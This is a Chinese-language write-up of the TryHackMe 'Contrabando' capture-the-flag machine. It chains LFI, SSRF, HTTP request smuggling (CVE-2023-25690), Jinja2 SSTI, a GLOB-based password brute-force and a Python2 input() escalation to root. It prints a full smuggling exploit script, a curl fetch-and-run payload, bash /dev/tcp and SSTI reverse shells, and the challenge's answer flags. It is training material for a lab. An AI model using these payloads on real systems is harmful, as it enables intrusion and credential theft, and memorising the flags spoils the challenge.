TryHackMe Contrabando漏洞挖掘全解析:从LFI到Root权限的完整攻击链

150 阅读10分钟

Contrabando writeup — TryHackMe

这台机器呈现了一个复杂而迷人的攻击路径,需要跨不同系统层链接多个漏洞。初始入口点是本地文件包含(LFI)漏洞,利用该漏洞发现了一个关键的HTTP请求走私漏洞(CVE-2023–25690)。此漏洞是绕过反向代理并在后端Docker容器上实现远程代码执行(RCE)的关键。在逃离容器的网络后,我在内部服务上发现了服务器端模板注入(SSTI)漏洞,从而获得了用户shell。最后的权限提升涉及两个步骤:首先,通过GLOB模式匹配利用一个实现不当的Bash脚本来窃取密码;其次,利用Python2脚本中的一个危险代码构造最终获得root访问权限。

侦察阶段

我使用nmap进行积极的全面端口扫描,以快速识别目标机器上的所有可用服务。使用的标志是-sS、-p-和—min-rate 5000,以覆盖所有端口并快速完成。

(nmap1)

发现:

  • 端口22:开放(SSH)
  • 端口80:开放(HTTP)

对这些特定端口进行的后续服务版本和脚本扫描提供了更多细节。

(nmap)

结果:

  • 端口80:Apache httpd 2.4.55

枚举阶段

导航到端口80显示了一个简单的"即将推出"页面,带有一个指向测试版站点的链接,重定向到/page/home.html。

(soon)

/page/端点结构立即暗示了本地文件包含(LFI)的潜在向量。

(url)

我开始通过模糊测试来查找目录。对Web根目录(/)的初始扫描显示信息很少,但模糊测试/page/目录本身(/page/FUZZ)返回了大量的200 OK响应。停止扫描后,我意识到这是预期的功能。

(gobuster)

我决定尝试其中一个端点/page/,它显示readfile()函数正在运行,还有一个名为index.php的文件。

(about)

我访问了/page/index.php并查看了页面源代码。这揭示了驱动/page/端点的后端逻辑。

(index.php)

为了测试LFI,我决定再次使用Gobuster,但使用其模糊测试模式。我使用的命令如下(我过滤了长度0–300,因为请求的平均响应是这个大小,这阻止了我看到好的请求)。

gobuster fuzz -u 'http://10.10.81.251:80/page/FUZZ' -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -t 100 --exclude-length 0-300

(fuzz)

在模糊测试过程中,一些格式错误的请求返回了400 Bad Request错误。这些错误包含了一个揭示性的头部:服务器将自己标识为Apache 2.4.54,并且在172.18.0.3:8080上。

(apache/2.4.54)

这可能证明了系统的构建方式:主机上的Apache反向代理(端口80)将请求转发到Docker容器内的Apache后端服务(端口8080)。

通过测试一个导致状态码200的有效载荷,我有效地验证了服务器易受LFI攻击。

(lfi)

由于有效载荷的结构,我了解到像../../../../etc/passwd这样的标准LFI有效载荷被代理阻止,但可以通过双重URL编码绕过。这使我能够使用更短的有效载荷。

(short)

为了验证是否是Docker,我决定使用Burp Suite并拦截对/etc/apache2/sites-available/000-default.conf的请求。

拥有VirtualHost *:8080证实了我的怀疑。

这是关键的洞察:前端服务器(在端口80上)充当反向代理。当用户请求/page/something时,代理会将请求作为index.php?page=something转发给后端应用程序(在Docker容器的端口8080上)。后端的index.php脚本然后获取page参数并将其直接传递给readfile()函数,使其易受LFI攻击。

作为下一步,我决定再次列出/page/中的目录,但就像我对FUZZ所做的那样,按长度过滤。

gobuster dir -u "http://10.10.81.251:80/page/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x js,json,py,php,log,txt --no-error -t 400 --exclude-length 100-200 -b 400

(gobuster)

扫描显示了一个名为/gen.php的文件。通过使用LFI,我能够读取其源代码。

(post)

我看到如果提供了length POST参数,它以未清理的方式使用了exec()函数。出现的第一个问题是我无法直接访问该文件,因此我决定测试/page/端点是否允许包装器。

(wrapper)

它确实允许它们,因此我决定通过向我的python3服务器-m http.server发送请求来测试SSRF。

(ssrf)

拥有SSRF使我能够通过向localhost发送请求来访问gen.php文件。

(localhost)

挑战在于反向代理将我的POST请求转换为GET请求,阻止我直接发送必要的参数。

(index.php?page=http://localhost:8080/gen.php)

解决方案是后端上的Apache版本(2.4.54),它易受通过CVE-2023–25690的HTTP请求走私攻击。此漏洞允许攻击者发送带有嵌入的CRLF(\r\n或%0d%0a)序列的特制HTTP请求。前端和后端服务器对单个请求的解释不同,允许攻击者"走私"第二个隐藏的请求直接到后端应用程序,绕过代理的规则。

利用阶段

为了验证服务器是否易受攻击,我决定使用在dhmosfunk的GitHub上找到的PoC。

%20HTTP/1.1%0d%0aFoo:%20baarr

(poc)

有效载荷所做的是在HTTP版本之后发送一个额外的请求。如果发送请求时没有发生错误,则意味着服务器易受攻击,并且请求已成功"走私"通过。

现在我需要一个功能脚本来帮助我,我在GitHub上找到了thanhlam-attt的一个(我修改了脚本以使其适用于这台机器,你必须安装pwntools才能使此脚本工作)。

from pwn import *

def request_prepare():
    hexdata = open("pre.txt", "rb").read()
    # print(hexdata)
    hexdata = hexdata.replace(b' ', b'%20')
    hexdata = hexdata.replace(b'\r\n', b'%0d%0a')
    hexdata = hexdata.replace(b'?', b'%3f')
    hexdata = hexdata.replace(b'=', b'%3d')
    # print(hexdata)
    uri = b'/page/index.php%20HTTP/1.1%0d%0aHost:%20localhost%0d%0aUser-Agent:%20Mozilla/5.0%20(' \
          b'Windows%20NT%2010.0;%20Win64;%20x64;%20rv:120.0)%20Gecko/20100101%20Firefox/120.0%0d%0a%0d%0a' + hexdata + \
          b'%0d%0a%0d%0aGET%20/abc'
    reqst = b'''GET %b HTTP/1.1\rHost: localhost\r\r''' % uri
    return reqst

def send_and_recive(req):
    rec = b''
    ip = '10.10.214.175'
    port = 80
    p = remote(ip, int(port))
    p.send(req)
    rec += p.recv()
    print(rec.decode())
    p.close()
    return rec.decode()

req = request_prepare()
print(req)
# print(urllib.parse.unquote(req.decode()))
f = open('req.txt', 'wb')
f.write(req)
f.close()
res = send_and_recive(req)
f = open('res.txt', 'wb')
f.write(res.encode())
f.close()

运行脚本的步骤如下:

  1. 创建一个pre.txt文件,其中包含您想要走私到后端/gen.php的完整原始HTTP POST请求。为此,复制下面的有效载荷,将其粘贴到burp suite中,然后使用您的IP和PORT重新计算内容长度,然后右键单击 -> 复制到文件。

    POST /gen.php HTTP/1.1
    Host: localhost
    Content-Length: 53
    Content-Type: application/x-www-form-urlencoded
    
    length=1;sh -c "$(curl -s 10.13.91.64:8000/shell.sh)"
    

    (53)

  2. 修改脚本中的IP变量并输入受害者机器的IP地址。

  3. 创建一个shell.sh文件,其中包含一个bash反向shell,并在您为pre.txt中curl请求指定的相同端口上使用Python HTTP服务器托管它。

    bash -c 'bash -i >& /dev/tcp/10.13.91.64/4444 0>&1'
    
  4. 在您在shell.sh文件中设置的相同端口上设置一个netcat监听器并运行脚本。

该脚本制作了一个利用CRLF漏洞的请求,将我的恶意POST请求走私过代理。

(request)

后端服务器执行了它,授予我Docker容器内www-data用户的反向shell。

(www-data)

从容器中,我需要探索主机的内部网络。因此,我需要将一个静态的nmap二进制文件上传到目标,为此,我首先移动到/tmp目录并创建一个文件夹,然后使用curl向我的python服务器发出请求以下载该文件。

(curl)

下载后,我解压它并使用chmod +x赋予执行权限。

(extraer)

为了运行它,我只使用了—min-rate=5000标志,但它扫描了主机172.18.0.1到172.18.0.3上的所有端口。

(5000)

扫描显示Docker主机(172.18.0.1)上的端口5000开放。我使用curl与此新服务交互(我已经利用了端口80和8080)。

(fetch)

该服务获取一个URL。我决定向我的Python服务器发送一个请求,但当我没有收到任何有趣的内容时,我决定改为将其发送到netcat。

(nc)

通过使用nc检查请求,我发现它使用了PycURL库,该库支持file://协议。这使我能够从主机系统读取本地文件。

(file:///etc/passwd)

这揭示了一个名为hansolo的用户。知道他的名字后,我决定检查是哪个用户正在运行此服务进程。

(file:///proc/self/environ)

这揭示了该进程由hansolo运行。读取/proc/self/cmdline显示了应用程序路径:/home/hansolo/app/app.py。

(app.py)

app.py的源代码是关键。它使用了高度危险的render_template_string()函数来渲染用户控制的输入。

(template)

将website_content请求直接发送到render_template_string使应用程序易受SSTI攻击。当应用程序将用户输入嵌入到模板中,然后在服务器上执行时,就会发生服务器端模板注入。这允许攻击者注入可能导致RCE的模板指令。在这种情况下,应用程序使用的是Jinja2模板。

我通过托管一个名为test.html的文件来确认该漏洞,该文件包含有效载荷{{ 7*7 }}。当应用程序获取并渲染它时,输出是49,证明输入正在被执行。

(test.html)

然后我托管了一个更高级的Jinja2 SSTI反向shell有效载荷并触发它。

{{config.__class__.__init__.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/10.13.91.64/5555 0>&1\"').read()}}

这给了我主机上hansolo用户的反向shell。

(hansolo)

权限提升

我做的第一件事是稳定shell,为此我采取了以下步骤:

(reset)

然后我将终端类型设置为xterm并导出变量TERM和SHELL。

(export)

现在我决定开始枚举以提升权限。我运行了sudo -l,发现我可以在没有密码的情况下以root身份执行一个命令。

(sudo -l)

专注于第一个(因为它没有要求密码),我决定查看其内容。

(/root/password)

vault脚本将用户输入与/root/password的内容进行比较。关键缺陷在于其比较逻辑。变量没有加引号。在Bash中,这会导致==运算符执行模式匹配(GLOB扩展)而不是字符串匹配。通过输入单个星号*,我匹配了任何非空字符串,欺骗脚本授予访问权限。

(*)

这并没有太大帮助,所以看到脚本分析了/root/password,我决定使用我在voltatach博客上找到的一个脚本来发现这个密码是什么。

#!/usr/bin/env python3

import subprocess
import string

CMD = ["sudo", "/usr/bin/bash", "/usr/bin/vault"]
CHARS = string.ascii_letters + string.digits + string.punctuation
CHARS = CHARS.replace("*", "").replace("?", "").replace("[", "").replace("]", "")

def run_with_input(candidate: str) -> bool:
    proc = subprocess.run(
        CMD,
        input=candidate + "*\n",
        text=True,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT
    )
    out = proc.stdout.strip()
    return "Password matched!" in out

def brute_force():
    found = ""
    while True:
        progress = False
        for c in CHARS:
            attempt = found + c
            print(f"\33[2K\r[+] Progress: {found}{c}", end="", flush=True)
            if run_with_input(attempt):
                found += c
                progress = True
                break
        if not progress:
            print(f"\33[2K\r[!] Final password: {found[:-1]}")
            break

if __name__ == "__main__":
    brute_force()

该脚本使用GLOB模式(例如,a*, b*, [a-z], ?)执行暴力攻击。这依次确定了密码的长度和每个字符。运行脚本后,我获得了一个密码。

(password)

第二个sudo命令很有趣:它允许我使用任何python*解释器运行一个脚本。我检查了该脚本,发现它使用input()来获取用户数据。

(input())

关键区别在于Python 2和Python 3之间:

  • 在Python 3中,input()始终将用户的输入作为字符串返回。
  • 在Python 2中,input()将用户的输入作为Python代码进行评估。这是极其危险的。

我使用Python2执行了该脚本,提供了窃取的密码。对于最后的提示("您想为密码添加的任何单词"),我提供了一个生成bash shell的Python命令:import("os").system("/bin/bash")

(root)

因为脚本是用Python2运行的,input()函数将__import__("os").system("/bin/bash")作为Python代码进行评估,以root权限执行它,并授予我root shell。现在我可以读取root标志的内容。

(root.txt)

所有问题的答案是:

  1. 第一个标志是什么? THM{Th3_BeST_SmuGGl3R_In_Da_GalaXy}
  2. 第二个标志是什么? THM{All_AbouT_PassW0rds}

就这些了!感谢阅读,下次再见!,我希望这篇Writeup对您有所帮助。